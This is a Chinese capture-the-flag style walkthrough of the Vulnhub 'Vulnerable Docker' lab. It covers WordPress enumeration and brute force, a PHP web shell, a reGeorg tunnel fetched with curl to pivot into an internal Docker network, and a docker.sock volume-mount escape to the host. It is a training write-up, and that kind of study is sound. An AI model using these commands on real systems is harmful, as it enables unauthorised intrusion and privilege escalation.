内容简介:Vulnhub它是一个提供各种漏洞环境的平台,里面大部分的环境是要用VMware或者VirtualBox打开运行的。今天我主要是使用VMware搭建一个Vulnerable Docker靶机环境,主要是为了练习使用。
前言
Vulnhub它是一个提供各种漏洞环境的平台,里面大部分的环境是要用VMware或者VirtualBox打开运行的。
今天我主要是使用VMware搭建一个Vulnerable Docker靶机环境,主要是为了练习使用。
完整找出所有flag只是基本任务,实现提权才是终极目标。我并不追求最快夺旗,而是尽可能运用所学的知识完整的运用在这套靶机中,所以,
这篇文章中,或许某些内容对拿到flag无直接帮助,但在应对真实目标时,还是有一点帮助的。
0x01:Vulnerable Docker靶机下载
里面有各种各样的镜像,可以下载到自己的机子上面练习。
(需要我们注意的是,下载靶机环境的时候,我们需要提前看清这个靶机环境是否支持VMware的安装,否则就不可以安装在VWMare上面)
今天我们选择的是使用Vulnerable Docker: 1靶机环境
首先:这个靶机环境支持VMware环境的安装。
其次:靶机环境比较简单(flag只有三个)
靶机下载地址:Download: https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
0x02:Vulnerable Docker靶机安装
下载完成之后就会看见有ova格式的文件
双击导入VMware中就可以了(具体操作过程)
点击下一步:
最后等待导入完成,导入速度看本机性能和镜像的大小
再对靶机环境进行配置一下:
启动Vulnerable Docker靶机就可以看见
0x03:完成任务!
作者给我们的描述是:这里里面有三个flag(其中的flag_2被发行者无意中遗漏了)
We have planted 3 flag files across the various machines / systems that are available to you Your mission if you choose to accept would be as following: Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)
1:网络扫描
启动Vulnerable Docker靶机就可以看见:
使用nmap对靶机IP地址进行扫描:
nmap -A 192.168.232.134
2:flag_1
我们先打开8000端口,看看有没有flag:
使用WPscan进行漏洞扫描:
wpscan --url http://192.168.232.134:8000/
打开链接: http://192.168.232.134:8000/robots.txt
使用WPscan进行枚举用户名:
wpscan --url http://192.168.232.134:8000/ --enumerate u
按照正常思维对用户名进行爆破:
wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt
并没有爆破得到任何信息(QAQ):
这个时候需要我们再回头开始看起,看见一个链接,wordpress的登录端口: http://192.168.232.134:8000/wp-admin/
使用刚刚爆破出来的用户名bob填进去就可以了,而在这里的密码需要使用burp进行爆破(具体操作过程)
爆破得到:
成功登录后台(经过一系列的乱翻之后就会找到)
3:flag_3
这下面的操作是在我的另一个kali中的操作(具体原因下文会提到)
如果可以进入Wordpress的后台,那么拿 shell 就很简单了,使用在线编辑功能就可以。
使用菜刀上传一句话(php)
连上shell后收集了下面的一些信息
数据库中的信息:
define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'WordPressISBest'); define('DB_HOST', 'db:3306');
系统是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux,用户是
www-data,这么新的系统直接就可以放弃提权了,否则Dirty COW之类的洞还是超级好用的,不过我们可以参考下面这一篇文章,找到一点灵感
可以参考Tunnel Manager – From RCE to Docker Escape: https://paper.seebug.org/396/
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever
想起题目是Vulnerable Docker VM,猜想应该就是docker.sock或者HTTP API未授权访问之类的问题,不过翻了下没找到什么。
但是看机器的IP,感觉这个虚拟机里面应该还有个docker network的内网,简单的ping了下,发现至少是存在172.18.0.1-4的,这时候
需要做一下内网穿透,这样方便在我的电脑上操作,否则shell里面缺少很多 工具 和依赖,比较麻烦。
我使用的是 reGeorg: https://github.com/sensepost/reGeorg
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
浏览器访问了一下,显示Georg says,’All seems fine’
本地电脑上运行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php
[INFO ] Log Level set to [INFO] [INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php] [INFO ] Checking if Georg is ready [INFO ] Georg says, 'All seems fine'
因为reGeorg提供的是socks5代理,所以需要本地使用proxychains具体配置不多说了
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4 连接数据库,
但是并没有找到什么 flag,然后继续扫内网,还是nmap那一堆命令加上proxychains前缀就好。
然后发现一个IP有个奇怪的端口
Nmap scan report for 172.18.0.3 Host is up (0.0062s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 8022/tcp open oa-system
curl看了下,貌似是一个网页,然后在设置了浏览器的socks5代理,就看到了,原来是一个网页版ssh,而且这里面终于有docker.sock。
接下来就是老套路了,可以参考 :Docker学习与remote API未授权访问分析和利用: https://www.secpulse.com/archives/55928.html
而我是直接在另一个kali中里面安装了一个docker,这样就可以操作主机上的 docker 了。
然后使用volume挂载主机上的所有文件到一个目录
docker run -it --rm -v /:/vol wordpress /bin/bash
这样就可以看到flag_3了
关于这一个靶机漏洞可以学习到很多知识
首先:关于wordpress漏洞
其次:提权中遇到的关于Tunnel Manager – From RCE to Docker Escape漏洞
最后:关于Docker的自学以及Docker学习与remote API未授权访问分析和利用
参考资料
Vulnerable Docker靶机下载: https://www.vulnhub.com/entry/vulnerable-docker-1,208/
Docker学习与remote API未授权访问分析和利用: https://www.secpulse.com/archives/55928.html
WPScan使用完整教程之记一次对WordPress的渗透过程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454
Docker学习: https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463
Tunnel Manager – From RCE to Docker Escape: https://paper.seebug.org/396/
reGeorg: https://github.com/sensepost/reGeorg
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 渗透测试实战-Blacklight靶机+DeRPnStiNK靶机入侵
- 渗透测试实战-eric靶机+HackInOS靶机入侵
- 渗透测试实战-lin.security靶机+Goldeneye靶机入侵
- 渗透测试实战-ROP靶机PWN+SolidState靶机入侵
- 渗透测试实战——unknowndevice64-1靶机+Moonraker靶机入侵
- Cyberry靶机渗透测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
爱上Arduino
Massimo Banzi / 于欣龙、郭浩赟 / 人民邮电出版社 / 2012-10 / 38.00元
《硬件开源电子设计平台:爱上Arduino(第2版)》全面透彻地介绍了arduino的相关内容,它会给你带来许多项目的点子,并帮助你顺利地实现从开始策划直到完成安装的全过程。由于《硬件开源电子设计平台:爱上Arduino(第2版)》是arduino项目合作创始人massimobanzi所著,其中一定融入了创始人对开源硬件的独到见解。《硬件开源电子设计平台:爱上Arduino(第2版)》内容完全考虑......一起来看看 《爱上Arduino》 这本书的介绍吧!